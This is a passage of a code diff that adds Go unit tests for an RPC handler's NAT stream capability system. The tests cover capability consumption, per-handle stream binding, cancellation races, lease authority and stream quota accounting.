err) + _, err = handler.CreateAgentCompatNATStream(firstHandle, "nat-profile-first") + require.NoError(t, err) + _, err = handler.CreateAgentCompatNATStream(secondHandle, "nat-profile-second") + require.NoError(t, err) + require.NoError(t, handler.PublishAgentCompatNATStream(firstHandle, AgentCompatNATPublication{Purpose: AgentCompatCapabilityNAT, TargetServerID: 76, ResourceID: 86, StreamID: "nat-profile-first"})) + require.NoError(t, handler.PublishAgentCompatNATStream(secondHandle, AgentCompatNATPublication{Purpose: AgentCompatCapabilityNAT, TargetServerID: 76, ResourceID: 87, StreamID: "nat-profile-second"})) + + firstStream, err := handler.WaitAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), capabilityAccess(first, firstRegistration)) + require.NoError(t, err) + secondStream, err := handler.WaitAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), capabilityAccess(second, secondRegistration)) + require.NoError(t, err) + require.Equal(t, "nat-profile-first", firstStream) + require.Equal(t, "nat-profile-second", secondStream) +} diff --git a/service/rpc/io_stream_capability_nat_atomic_start_agentcompat_test.go b/service/rpc/io_stream_capability_nat_atomic_start_agentcompat_test.go new file mode 100644 index 00000000..3b6a8187 --- /dev/null +++ b/service/rpc/io_stream_capability_nat_atomic_start_agentcompat_test.go @@ -0,0 +1,180 @@ +//go:build agentcompat + +package rpc + +import ( + "bytes" + "io" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +type atomicNATEndpoint struct { + handler *NezhaHandler + data *bytes.Reader + written bytes.Buffer + mu sync.Mutex + closed atomic.Int32 + readSeen atomic.Int32 + writeSeen chan struct{} +} + +func (endpoint *atomicNATEndpoint) Read(data []byte) (int, error) { + endpoint.readSeen.Add(1) + endpoint.handler.SnapshotIOStreamState() + return endpoint.data.Read(data) +} + +func (endpoint *atomicNATEndpoint) Write(data []byte) (int, error) { + endpoint.mu.Lock() + defer endpoint.mu.Unlock() + endpoint.handler.SnapshotIOStreamState() + n, err := endpoint.written.Write(data) + if endpoint.writeSeen != nil { + select { + case <-endpoint.writeSeen: + default: + close(endpoint.writeSeen) + } + } + return n, err +} + +func (endpoint *atomicNATEndpoint) Close() error { + endpoint.closed.Add(1) + endpoint.handler.SnapshotIOStreamState() + return nil +} + +func newAtomicNATEndpoint(handler *NezhaHandler, payload string) *atomicNATEndpoint { + return &atomicNATEndpoint{handler: handler, data: bytes.NewReader([]byte(payload)), writeSeen: make(chan struct{})} +} + +func publishAtomicNATStream(t *testing.T, streamID string) (*NezhaHandler, AgentCompatCapabilityAccess, AgentCompatNATPublishHandle, AgentCompatCapabilityRegistration) { + t.Helper() + handler, registration, capability := natCapabilityFixture(t, 301, 302, 303, 304) + access := capabilityAccess(capability, registration) + handle, err := handler.ConsumeAgentCompatNATCapability(access) + require.NoError(t, err) + _, err = handler.CreateAgentCompatNATStream(handle, streamID) + require.NoError(t, err) + require.NoError(t, handler.PublishAgentCompatNATStream(handle, AgentCompatNATPublication{ + Purpose: AgentCompatCapabilityNAT, TargetServerID: 303, ResourceID: 304, StreamID: streamID, + })) + return handler, access, handle, registration +} + +func TestAgentCompatNATAtomicStartWhenCanceledBeforeCaptureDoesNotTouchReplacement(t *testing.T) { + handler, access, handle, _ := publishAtomicNATStream(t, "atomic-replacement-before-capture") + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(access)) + require.NoError(t, handler.CreateStreamWithPurpose("atomic-replacement-before-capture", 0, 303, PurposeNAT)) + replacement := newAtomicNATEndpoint(handler, "replacement") + require.NoError(t, handler.UserConnected("atomic-replacement-before-capture", replacement)) + require.NoError(t, handler.AgentConnected("atomic-replacement-before-capture", replacement)) + + publicationOwned, err := handler.StartAgentCompatNATStream(handle, time.Millisecond) + + require.True(t, publicationOwned) + require.ErrorIs(t, err, ErrAgentCompatCapabilityHidden) + require.Equal(t, int32(0), replacement.readSeen.Load()) + require.Equal(t, int32(0), replacement.closed.Load()) + _, found := handler.StreamOwnership("atomic-replacement-before-capture") + require.True(t, found) + t.Logf("replacement after cancel-before-capture: read=%d write=%d close=%d registered=%t", replacement.readSeen.Load(), replacement.written.Len(), replacement.closed.Load(), found) +} + +func TestAgentCompatNATAtomicStartWhenCanceledAfterCaptureDoesNotCloseReplacement(t *testing.T) { + handler, access, handle, _ := publishAtomicNATStream(t, "atomic-replacement-after-capture") + old := newAtomicNATEndpoint(handler, "old") + require.NoError(t, handler.UserConnected("atomic-replacement-after-capture", old)) + + result := make(chan error, 1) + go func() { + _, err := handler.StartAgentCompatNATStream(handle, time.Second) + result <- err + }() + stream := mustGetStream(t, handler, "atomic-replacement-after-capture") + select { + case <-stream.startCaptureCh: + case <-time.After(time.Second): + t.Fatal("atomic start did not capture retained stream") + } + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(access)) + require.NoError(t, handler.CreateStreamWithPurpose("atomic-replacement-after-capture", 0, 303, PurposeNAT)) + replacement := newAtomicNATEndpoint(handler, "replacement") + require.NoError(t, handler.UserConnected("atomic-replacement-after-capture", replacement)) + require.NoError(t, handler.AgentConnected("atomic-replacement-after-capture", replacement)) + + require.EqualError(t, receiveAtomicNATError(t, result), "stream revoked") + require.Equal(t, int32(1), old.closed.Load()) + require.Equal(t, int32(0), replacement.readSeen.Load()) + require.Equal(t, int32(0), replacement.closed.Load()) + _, found := handler.StreamOwnership("atomic-replacement-after-capture") + require.True(t, found) + t.Logf("replacement after cancel-after-capture: read=%d write=%d close=%d registered=%t", replacement.readSeen.Load(), replacement.written.Len(), replacement.closed.Load(), found) +} + +func TestAgentCompatNATAtomicStartDetachesOnlyRetainedStreamAfterRelay(t *testing.T) { + handler, _, handle, registration := publishAtomicNATStream(t, "atomic-normal-completion") + user := newAtomicNATEndpoint(handler, "request-bytes") + agent := newAtomicNATEndpoint(handler, "") + require.NoError(t, handler.UserConnected("atomic-normal-completion", user)) + require.NoError(t, handler.AgentConnected("atomic-normal-completion", agent)) + + result := make(chan error, 1) + var publicationOwned bool + go func() { + var err error + publicationOwned, err = handler.StartAgentCompatNATStream(handle, time.Second) + result <- err + }() + select { + case <-agent.writeSeen: + case <-time.After(time.Second): + t.Fatal("atomic relay did not transfer request bytes") + } + err := receiveAtomicNATError(t, result) + require.True(t, publicationOwned) + require.NoError(t, err) + require.Equal(t, int32(1), user.closed.Load()) + require.Equal(t, int32(1), agent.closed.Load()) + require.Equal(t, "request-bytes", agent.written.String()) + streamID, waitErr := handler.WaitAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), capabilityAccessFromRegistration(handle, registration)) + require.NoError(t, waitErr) + require.Equal(t, "atomic-normal-completion", streamID) + require.NoError(t, handler.CreateStreamWithPurpose("atomic-normal-completion", 0, 303, PurposeNAT)) + replacement := newAtomicNATEndpoint(handler, "replacement") + require.NoError(t, handler.UserConnected("atomic-normal-completion", replacement)) + require.NoError(t, handler.AgentConnected("atomic-normal-completion", replacement)) + require.Equal(t, int32(0), replacement.readSeen.Load()) + require.Equal(t, int32(0), replacement.closed.Load()) + t.Logf("replacement after normal retained teardown: read=%d write=%d close=%d registered=true", replacement.readSeen.Load(), replacement.written.Len(), replacement.closed.Load()) +} + +func capabilityAccessFromRegistration(handle AgentCompatNATPublishHandle, registration AgentCompatCapabilityRegistration) AgentCompatCapabilityAccess { + return AgentCompatCapabilityAccess{Capability: AgentCompatIOStreamCapability{value: handle.capability}, Owner: registration.Owner, Purpose: registration.Purpose, TargetServerID: registration.TargetServerID, ResourceID: registration.ResourceID, ServerAccessAllowed: registration.ServerAccessAllowed} +} + +func mustGetStream(t *testing.T, handler *NezhaHandler, streamID string) *ioStreamContext { + t.Helper() + stream, err := handler.GetStream(streamID) + require.NoError(t, err) + return stream +} + +func receiveAtomicNATError(t *testing.T, result <-chan error) error { + t.Helper() + select { + case err := <-result: + return err + case <-time.After(time.Second): + t.Fatal("atomic start did not return") + return nil + } +} + +var _ io.ReadWriteCloser = (*atomicNATEndpoint)(nil) diff --git a/service/rpc/io_stream_capability_nat_barrier_agentcompat_test.go b/service/rpc/io_stream_capability_nat_barrier_agentcompat_test.go new file mode 100644 index 00000000..e57861a9 --- /dev/null +++ b/service/rpc/io_stream_capability_nat_barrier_agentcompat_test.go @@ -0,0 +1,117 @@ +//go:build agentcompat + +package rpc + +import ( + "sync" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestAgentCompatNATCapabilityUnregisterBarrierMakesQueuedPublishInert(t *testing.T) { + handler, registration, capability := natCapabilityFixture(t, 38, 48, 60, 70) + handle, err := handler.ConsumeAgentCompatNATCapability(capabilityAccess(capability, registration)) + require.NoError(t, err) + _, err = handler.CreateAgentCompatNATStream(handle, "nat-barrier") + require.NoError(t, err) + require.NoError(t, handler.detachExactStream("nat-barrier", handle.registration.stream)) + stateBeforeRace := handler.SnapshotIOStreamState() + + publishEntered := make(chan struct{}) + publishRelease := make(chan struct{}) + publishObserverCtx := agentCompatCapabilityTestContext(t) + var observeOnce sync.Once + handler.setAgentCompatCapabilityPublishObserverForTest(func() { + observeOnce.Do(func() { + close(publishEntered) + select { + case <-publishRelease: + case <-publishObserverCtx.Done(): + } + }) + }) + t.Cleanup(func() { handler.setAgentCompatCapabilityPublishObserverForTest(nil) }) + publishResult := make(chan error, 1) + go func() { + publishResult <- handler.PublishAgentCompatNATStream(handle, AgentCompatNATPublication{ + Purpose: AgentCompatCapabilityNAT, TargetServerID: 60, ResourceID: 70, StreamID: "nat-barrier", + }) + }() + awaitAgentCompatCapabilitySignal(t, publishEntered, "publish did not enter production path before unregister") + + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(capabilityAccess(capability, registration))) + close(publishRelease) + require.NoError(t, receiveAgentCompatCapabilityError(t, publishResult, "queued publish did not return after release")) + _, err = handler.WaitAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), capabilityAccess(capability, registration)) + require.ErrorIs(t, err, ErrAgentCompatCapabilityHidden) + require.Equal(t, stateBeforeRace, handler.SnapshotIOStreamState()) + _, found := handler.StreamOwnership("nat-barrier") + require.False(t, found) + handler.ioStreamMutex.RLock() + _, active := handler.agentCompatCapabilities.active[capability.value] + retainedStreamID := handle.registration.streamID + retainedStream := handle.registration.stream + handler.ioStreamMutex.RUnlock() + require.False(t, active) + require.Equal(t, "nat-barrier", retainedStreamID) + require.NotNil(t, retainedStream) +} + +func TestAgentCompatNATCapabilityPublishObserverCanReenterRegistry(t *testing.T) { + handler, registration, capability := natCapabilityFixture(t, 39, 49, 61, 71) + handle, err := handler.ConsumeAgentCompatNATCapability(capabilityAccess(capability, registration)) + require.NoError(t, err) + _, err = handler.CreateAgentCompatNATStream(handle, "nat-observer-reentry") + require.NoError(t, err) + observerEntered := make(chan struct{}) + var observeOnce sync.Once + handler.setAgentCompatCapabilityPublishObserverForTest(func() { + handler.SnapshotIOStreamState() + observeOnce.Do(func() { close(observerEntered) }) + }) + t.Cleanup(func() { handler.setAgentCompatCapabilityPublishObserverForTest(nil) }) + publishResult := make(chan error, 1) + go func() { + publishResult <- handler.PublishAgentCompatNATStream(handle, AgentCompatNATPublication{ + Purpose: AgentCompatCapabilityNAT, TargetServerID: 61, ResourceID: 71, StreamID: "nat-observer-reentry", + }) + }() + + awaitAgentCompatCapabilitySignal(t, observerEntered, "publish observer did not reenter registry") + require.NoError(t, receiveAgentCompatCapabilityError(t, publishResult, "publish observer reentry deadlocked")) + streamID, err := handler.WaitAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), capabilityAccess(capability, registration)) + require.NoError(t, err) + require.Equal(t, "nat-observer-reentry", streamID) +} + +func TestAgentCompatNATCapabilityPublishObserverIsHandlerScoped(t *testing.T) { + first, firstRegistration, firstCapability := natCapabilityFixture(t, 40, 50, 62, 72) + second, secondRegistration, secondCapability := natCapabilityFixture(t, 41, 51, 63, 73) + firstHandle, err := first.ConsumeAgentCompatNATCapability(capabilityAccess(firstCapability, firstRegistration)) + require.NoError(t, err) + secondHandle, err := second.ConsumeAgentCompatNATCapability(capabilityAccess(secondCapability, secondRegistration)) + require.NoError(t, err) + _, err = first.CreateAgentCompatNATStream(firstHandle, "nat-scoped-first") + require.NoError(t, err) + _, err = second.CreateAgentCompatNATStream(secondHandle, "nat-scoped-second") + require.NoError(t, err) + firstObserved := make(chan struct{}) + secondObserved := make(chan struct{}) + first.setAgentCompatCapabilityPublishObserverForTest(func() { close(firstObserved) }) + second.setAgentCompatCapabilityPublishObserverForTest(func() { close(secondObserved) }) + + require.NoError(t, first.PublishAgentCompatNATStream(firstHandle, AgentCompatNATPublication{ + Purpose: AgentCompatCapabilityNAT, TargetServerID: 62, ResourceID: 72, StreamID: "nat-scoped-first", + })) + awaitAgentCompatCapabilitySignal(t, firstObserved, "first handler observer did not run") + select { + case <-secondObserved: + t.Fatal("second handler observer ran for first handler publish") + default: + } + require.NoError(t, second.PublishAgentCompatNATStream(secondHandle, AgentCompatNATPublication{ + Purpose: AgentCompatCapabilityNAT, TargetServerID: 63, ResourceID: 73, StreamID: "nat-scoped-second", + })) + awaitAgentCompatCapabilitySignal(t, secondObserved, "second handler observer did not run") +} diff --git a/service/rpc/io_stream_capability_nat_handle_binding_agentcompat_test.go b/service/rpc/io_stream_capability_nat_handle_binding_agentcompat_test.go new file mode 100644 index 00000000..8ea5045f --- /dev/null +++ b/service/rpc/io_stream_capability_nat_handle_binding_agentcompat_test.go @@ -0,0 +1,75 @@ +//go:build agentcompat + +package rpc + +import ( + "testing" + + "github.com/stretchr/testify/require" +) + +func TestAgentCompatNATHandleCreationBindsEachHandleToItsOwnStream(t *testing.T) { + handler := NewNezhaHandler() + firstRegistration := capabilityRegistration(capabilityOwner(501, 502), AgentCompatCapabilityNAT, 503, 504) + secondRegistration := capabilityRegistration(capabilityOwner(505, 506), AgentCompatCapabilityNAT, 503, 507) + firstCapability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), firstRegistration) + require.NoError(t, err) + secondCapability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), secondRegistration) + require.NoError(t, err) + firstHandle, err := handler.ConsumeAgentCompatNATCapability(capabilityAccess(firstCapability, firstRegistration)) + require.NoError(t, err) + secondHandle, err := handler.ConsumeAgentCompatNATCapability(capabilityAccess(secondCapability, secondRegistration)) + require.NoError(t, err) + + _, err = handler.CreateAgentCompatNATStream(firstHandle, "handle-bound-first") + require.NoError(t, err) + _, err = handler.CreateAgentCompatNATStream(secondHandle, "handle-bound-second") + require.NoError(t, err) + beforeCrossPublish := snapshotAgentCompatNATCreationState(handler, firstRegistration.Owner.PATID, secondRegistration.Owner.PATID) + + require.ErrorIs(t, handler.PublishAgentCompatNATStream(firstHandle, AgentCompatNATPublication{ + Purpose: AgentCompatCapabilityNAT, TargetServerID: 503, ResourceID: 504, StreamID: "handle-bound-second", + }), ErrAgentCompatCapabilityHidden) + require.ErrorIs(t, handler.PublishAgentCompatNATStream(secondHandle, AgentCompatNATPublication{ + Purpose: AgentCompatCapabilityNAT, TargetServerID: 503, ResourceID: 507, StreamID: "handle-bound-first", + }), ErrAgentCompatCapabilityHidden) + requireUnchangedAgentCompatNATCreationState(t, handler, beforeCrossPublish) + requireNATHandleBindingsIntact(t, handler, firstHandle, "handle-bound-first") + requireNATHandleBindingsIntact(t, handler, secondHandle, "handle-bound-second") + require.NoError(t, handler.PublishAgentCompatNATStream(firstHandle, AgentCompatNATPublication{ + Purpose: AgentCompatCapabilityNAT, TargetServerID: 503, ResourceID: 504, StreamID: "handle-bound-first", + })) + require.NoError(t, handler.PublishAgentCompatNATStream(secondHandle, AgentCompatNATPublication{ + Purpose: AgentCompatCapabilityNAT, TargetServerID: 503, ResourceID: 507, StreamID: "handle-bound-second", + })) + firstLease, err := handler.CreateAgentCompatNATStream(firstHandle, "handle-bound-again") + require.Nil(t, firstLease) + require.ErrorIs(t, err, ErrAgentCompatCapabilityHidden) + require.Equal(t, 2, handler.StreamCount()) +} + +func TestAgentCompatNATHandleCreationCancelReleasesOnlyItsBoundStream(t *testing.T) { + handler := NewNezhaHandler() + firstRegistration := capabilityRegistration(capabilityOwner(508, 509), AgentCompatCapabilityNAT, 510, 511) + secondRegistration := capabilityRegistration(capabilityOwner(512, 513), AgentCompatCapabilityNAT, 510, 514) + firstCapability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), firstRegistration) + require.NoError(t, err) + secondCapability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), secondRegistration) + require.NoError(t, err) + firstAccess := capabilityAccess(firstCapability, firstRegistration) + secondAccess := capabilityAccess(secondCapability, secondRegistration) + firstHandle, err := handler.ConsumeAgentCompatNATCapability(firstAccess) + require.NoError(t, err) + secondHandle, err := handler.ConsumeAgentCompatNATCapability(secondAccess) + require.NoError(t, err) + _, err = handler.CreateAgentCompatNATStream(firstHandle, "bound-first") + require.NoError(t, err) + _, err = handler.CreateAgentCompatNATStream(secondHandle, "bound-second") + require.NoError(t, err) + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(firstAccess)) + _, firstFound := handler.StreamOwnership("bound-first") + _, secondFound := handler.StreamOwnership("bound-second") + require.False(t, firstFound) + require.True(t, secondFound) + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(secondAccess)) +} diff --git a/service/rpc/io_stream_capability_nat_lease_authority_agentcompat_test.go b/service/rpc/io_stream_capability_nat_lease_authority_agentcompat_test.go new file mode 100644 index 00000000..ea4bd5ec --- /dev/null +++ b/service/rpc/io_stream_capability_nat_lease_authority_agentcompat_test.go @@ -0,0 +1,202 @@ +//go:build agentcompat + +package rpc + +import ( + "errors" + "strconv" + "testing" + + "github.com/stretchr/testify/require" +) + +type agentCompatNATCreationState struct { + streamState IOStreamState + active int + used int + patState map[uint64]agentCompatNATPATState +} + +type agentCompatNATPATState struct { + active uint16 + exists bool +} + +func snapshotAgentCompatNATCreationState(handler *NezhaHandler, patIDs ...uint64) agentCompatNATCreationState { + active, used := agentCompatCapabilityRegistryCounts(handler) + patState := make(map[uint64]agentCompatNATPATState, len(patIDs)) + for _, patID := range patIDs { + patActive, patExists := agentCompatCapabilityActiveForPAT(handler, patID) + patState[patID] = agentCompatNATPATState{active: patActive, exists: patExists} + } + return agentCompatNATCreationState{ + streamState: handler.SnapshotIOStreamState(), + active: active, + used: used, + patState: patState, + } +} + +func requireUnchangedAgentCompatNATCreationState(t *testing.T, handler *NezhaHandler, before agentCompatNATCreationState) { + t.Helper() + ids := make([]uint64, 0, len(before.patState)) + for patID := range before.patState { + ids = append(ids, patID) + } + after := snapshotAgentCompatNATCreationState(handler, ids...) + require.Equal(t, before, after) +} + +func requireHiddenCreateAgentCompatNATStream(t *testing.T, handler *NezhaHandler, handle AgentCompatNATPublishHandle, streamID string, before agentCompatNATCreationState) { + t.Helper() + lease, err := handler.CreateAgentCompatNATStream(handle, streamID) + require.Nil(t, lease) + require.True(t, errors.Is(err, ErrAgentCompatCapabilityHidden) || errors.Is(err, ErrAgentCompatCapabilityUnavailable)) + requireUnchangedAgentCompatNATCreationState(t, handler, before) +} + +func requireNATHandleBindingsIntact(t *testing.T, handler *NezhaHandler, handle AgentCompatNATPublishHandle, streamID string) { + t.Helper() + handler.ioStreamMutex.RLock() + defer handler.ioStreamMutex.RUnlock() + registration := handle.registration + require.NotNil(t, registration) + require.Equal(t, agentCompatCapabilityConsumed, registration.phase) + require.Equal(t, streamID, registration.streamID) + stream, exists := handler.ioStreams[streamID] + require.True(t, exists) + require.Same(t, stream, registration.stream) +} + +func TestAgentCompatNATHandleCreationAuthorityIsBoundToExactRegistration(t *testing.T) { + handler := NewNezhaHandler() + firstRegistration := capabilityRegistration(capabilityOwner(601, 602), AgentCompatCapabilityNAT, 603, 604) + secondRegistration := capabilityRegistration(capabilityOwner(605, 606), AgentCompatCapabilityNAT, 603, 607) + firstCapability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), firstRegistration) + if err != nil { + t.Fatal("first capability registration failed") + } + secondCapability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), secondRegistration) + if err != nil { + t.Fatal("second capability registration failed") + } + firstHandle, err := handler.ConsumeAgentCompatNATCapability(capabilityAccess(firstCapability, firstRegistration)) + if err != nil { + t.Fatal("first capability consume failed") + } + secondHandle, err := handler.ConsumeAgentCompatNATCapability(capabilityAccess(secondCapability, secondRegistration)) + if err != nil { + t.Fatal("second capability consume failed") + } + firstLease, err := handler.CreateAgentCompatNATStream(firstHandle, "bound-first") + if err != nil || firstLease == nil { + t.Fatal("first capability did not create its stream") + } + secondLease, err := handler.CreateAgentCompatNATStream(secondHandle, "bound-second") + if err != nil || secondLease == nil { + t.Fatal("second capability did not create its stream") + } + beforeCrossPublish := snapshotAgentCompatNATCreationState(handler, firstRegistration.Owner.PATID, secondRegistration.Owner.PATID) + if err := handler.PublishAgentCompatNATStream(firstHandle, AgentCompatNATPublication{Purpose: AgentCompatCapabilityNAT, TargetServerID: 603, ResourceID: 604, StreamID: "bound-second"}); err != ErrAgentCompatCapabilityHidden { + t.Fatal("first capability published the second stream") + } + if err := handler.PublishAgentCompatNATStream(secondHandle, AgentCompatNATPublication{Purpose: AgentCompatCapabilityNAT, TargetServerID: 603, ResourceID: 607, StreamID: "bound-first"}); err != ErrAgentCompatCapabilityHidden { + t.Fatal("second capability published the first stream") + } + requireUnchangedAgentCompatNATCreationState(t, handler, beforeCrossPublish) + requireNATHandleBindingsIntact(t, handler, firstHandle, "bound-first") + requireNATHandleBindingsIntact(t, handler, secondHandle, "bound-second") + require.NoError(t, handler.PublishAgentCompatNATStream(firstHandle, AgentCompatNATPublication{Purpose: AgentCompatCapabilityNAT, TargetServerID: 603, ResourceID: 604, StreamID: "bound-first"})) + publishedBeforeRepeat := snapshotAgentCompatNATCreationState(handler, firstRegistration.Owner.PATID) + requireHiddenCreateAgentCompatNATStream(t, handler, firstHandle, "bound-after-publish", publishedBeforeRepeat) + if lease, err := handler.CreateAgentCompatNATStream(firstHandle, "bound-again"); lease != nil || err != ErrAgentCompatCapabilityHidden { + t.Fatal("repeated creation mutated first capability state") + } + if handler.StreamCount() != 2 { + t.Fatal("repeated creation changed stream accounting") + } + if err := handler.CancelAgentCompatIOStreamCapability(capabilityAccess(firstCapability, firstRegistration)); err != nil { + t.Fatal("first capability cancellation failed") + } + if _, found := handler.StreamOwnership("bound-first"); found { + t.Fatal("first stream remained after cancellation") + } + if _, found := handler.StreamOwnership("bound-second"); !found { + t.Fatal("second stream was affected by first cancellation") + } + if err := handler.CloseAgentCompatNATStreamLease(secondLease); err != nil { + t.Fatal("second exact lease close failed") + } +} + +func TestAgentCompatNATHandleCreationRejectsInvalidAuthorityWithoutMutation(t *testing.T) { + handler, registration, capability := natCapabilityFixture(t, 701, 702, 703, 704) + access := capabilityAccess(capability, registration) + before := snapshotAgentCompatNATCreationState(handler, registration.Owner.PATID) + requireHiddenCreateAgentCompatNATStream(t, handler, AgentCompatNATPublishHandle{}, "invalid-zero", before) + + foreignHandler, foreignRegistration, foreignCapability := natCapabilityFixture(t, 705, 706, 703, 707) + foreignHandle, err := foreignHandler.ConsumeAgentCompatNATCapability(capabilityAccess(foreignCapability, foreignRegistration)) + require.NoError(t, err) + foreignBefore := snapshotAgentCompatNATCreationState(foreignHandler, foreignRegistration.Owner.PATID) + requireHiddenCreateAgentCompatNATStream(t, handler, foreignHandle, "invalid-foreign", before) + requireUnchangedAgentCompatNATCreationState(t, foreignHandler, foreignBefore) + + registeredCapability := registerAgentCompatCapability(t, handler, capabilityRegistration(capabilityOwner(708, 709), AgentCompatCapabilityNAT, 703, 710)) + registeredParsed, err := ParseAgentCompatIOStreamCapability(registeredCapability.String()) + require.NoError(t, err) + registeredHandle := AgentCompatNATPublishHandle{capability: registeredParsed.value} + handler.ioStreamMutex.RLock() + registeredHandle.registration = handler.agentCompatCapabilities.active[registeredParsed.value] + registeredHandle.generation = registeredHandle.registration.generation + handler.ioStreamMutex.RUnlock() + registeredBefore := snapshotAgentCompatNATCreationState(handler, registration.Owner.PATID, 708) + requireHiddenCreateAgentCompatNATStream(t, handler, registeredHandle, "invalid-registered", registeredBefore) + + staleHandle, err := handler.ConsumeAgentCompatNATCapability(access) + require.NoError(t, err) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(access)) + staleBefore := snapshotAgentCompatNATCreationState(handler, registration.Owner.PATID) + requireHiddenCreateAgentCompatNATStream(t, handler, staleHandle, "invalid-unregistered", staleBefore) + + cancelRegistration := capabilityRegistration(capabilityOwner(711, 712), AgentCompatCapabilityNAT, 703, 713) + cancelCapability := registerAgentCompatCapability(t, handler, cancelRegistration) + cancelAccess := capabilityAccess(cancelCapability, cancelRegistration) + cancelHandle, err := handler.ConsumeAgentCompatNATCapability(cancelAccess) + require.NoError(t, err) + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(cancelAccess)) + cancelledBefore := snapshotAgentCompatNATCreationState(handler, registration.Owner.PATID, cancelRegistration.Owner.PATID) + requireHiddenCreateAgentCompatNATStream(t, handler, cancelHandle, "invalid-cancelled", cancelledBefore) + + wrongPurposeRegistration := capabilityRegistration(capabilityOwner(714, 715), AgentCompatCapabilityTerminal, 703, 0) + wrongPurposeCapability := registerAgentCompatCapability(t, handler, wrongPurposeRegistration) + wrongPurposeParsed, err := ParseAgentCompatIOStreamCapability(wrongPurposeCapability.String()) + require.NoError(t, err) + handler.ioStreamMutex.RLock() + wrongPurposeRegistrationState := handler.agentCompatCapabilities.active[wrongPurposeParsed.value] + handler.ioStreamMutex.RUnlock() + wrongPurposeHandle := AgentCompatNATPublishHandle{registration: wrongPurposeRegistrationState, generation: wrongPurposeRegistrationState.generation, capability: wrongPurposeParsed.value} + wrongPurposeBefore := snapshotAgentCompatNATCreationState(handler, registration.Owner.PATID, wrongPurposeRegistration.Owner.PATID) + requireHiddenCreateAgentCompatNATStream(t, handler, wrongPurposeHandle, "invalid-purpose", wrongPurposeBefore) + +} + +func TestAgentCompatNATHandleCreationRepeatedCreatePreservesAccountingAndQuota(t *testing.T) { + handler, registration, capability := natCapabilityFixture(t, 721, 722, 723, 724) + handle, err := handler.ConsumeAgentCompatNATCapability(capabilityAccess(capability, registration)) + require.NoError(t, err) + lease, err := handler.CreateAgentCompatNATStream(handle, "repeated-create-first") + require.NoError(t, err) + stateBeforeRepeat := snapshotAgentCompatNATCreationState(handler, registration.Owner.PATID) + requireHiddenCreateAgentCompatNATStream(t, handler, handle, "repeated-create-second", stateBeforeRepeat) + + for index := 0; index < maxStreamsPerServer-1; index++ { + require.NoError(t, handler.CreateStreamWithPurpose("quota-boundary-"+strconv.Itoa(index), 0, registration.TargetServerID, PurposeNAT)) + } + require.ErrorIs(t, handler.CreateStreamWithPurpose("quota-boundary-overflow", 0, registration.TargetServerID, PurposeNAT), ErrTooManyStreamsForServer) + require.NoError(t, handler.CloseAgentCompatNATStreamLease(lease)) + for index := 0; index < maxStreamsPerServer-1; index++ { + require.NoError(t, handler.CloseStream("quota-boundary-"+strconv.Itoa(index))) + } + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(capabilityAccess(capability, registration))) +} diff --git a/service/rpc/io_stream_capability_nat_profile_agentcompat_test.go b/service/rpc/io_stream_capability_nat_profile_agentcompat_test.go new file mode 100644 index 00000000..bfedd0e3 --- /dev/null +++ b/service/rpc/io_stream_capability_nat_profile_agentcompat_test.go @@ -0,0 +1,99 @@ +//go:build agentcompat + +package rpc + +import ( + "errors" + "strings" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestAgentCompatNATCapabilityForProfileConsumesStoredRegistration(t *testing.T) { + handler, registration, capability := natCapabilityFixture(t, 61, 71, 81, 91) + + access, handle, err := handler.ConsumeAgentCompatNATCapabilityForProfile(capability.String(), 81, 91) + + require.NoError(t, err) + require.Equal(t, registration.Owner, access.Owner) + require.Equal(t, registration.Purpose, access.Purpose) + require.Equal(t, registration.TargetServerID, access.TargetServerID) + require.Equal(t, registration.ResourceID, access.ResourceID) + require.True(t, access.ServerAccessAllowed) + require.NotEmpty(t, handle.capability) +} + +func TestAgentCompatNATCapabilityForProfileHidesMalformedUnknownAndForeignTuples(t *testing.T) { + handler, _, capability := natCapabilityFixture(t, 62, 72, 82, 92) + terminalRegistration := capabilityRegistration(capabilityOwner(66, 76), AgentCompatCapabilityTerminal, 82, 0) + terminalCapability := registerAgentCompatCapability(t, handler, terminalRegistration) + cases := []struct { + name string + value string + serverID uint64 + resourceID uint64 + }{ + {name: "malformed", value: "not-a-capability", serverID: 82, resourceID: 92}, + {name: "unknown", value: strings.Repeat("a", 43), serverID: 82, resourceID: 92}, + {name: "wrong server", value: capability.String(), serverID: 83, resourceID: 92}, + {name: "wrong profile", value: capability.String(), serverID: 82, resourceID: 93}, + {name: "wrong purpose", value: terminalCapability.String(), serverID: 82, resourceID: 0}, + } + for _, testCase := range cases { + t.Run(testCase.name, func(t *testing.T) { + _, _, err := handler.ConsumeAgentCompatNATCapabilityForProfile(testCase.value, testCase.serverID, testCase.resourceID) + require.True(t, errors.Is(err, ErrAgentCompatCapabilityHidden)) + require.NotContains(t, err.Error(), testCase.value) + }) + } +} + +func TestAgentCompatNATCapabilityForProfileHidesRepeatedAndInactiveConsume(t *testing.T) { + handler, _, capability := natCapabilityFixture(t, 63, 73, 83, 93) + activeBefore, usedBefore := agentCompatCapabilityRegistryCounts(handler) + _, _, err := handler.ConsumeAgentCompatNATCapabilityForProfile(capability.String(), 83, 93) + require.NoError(t, err) + activeAfter, usedAfter := agentCompatCapabilityRegistryCounts(handler) + require.Equal(t, activeBefore, activeAfter) + require.Equal(t, usedBefore, usedAfter) + + _, _, err = 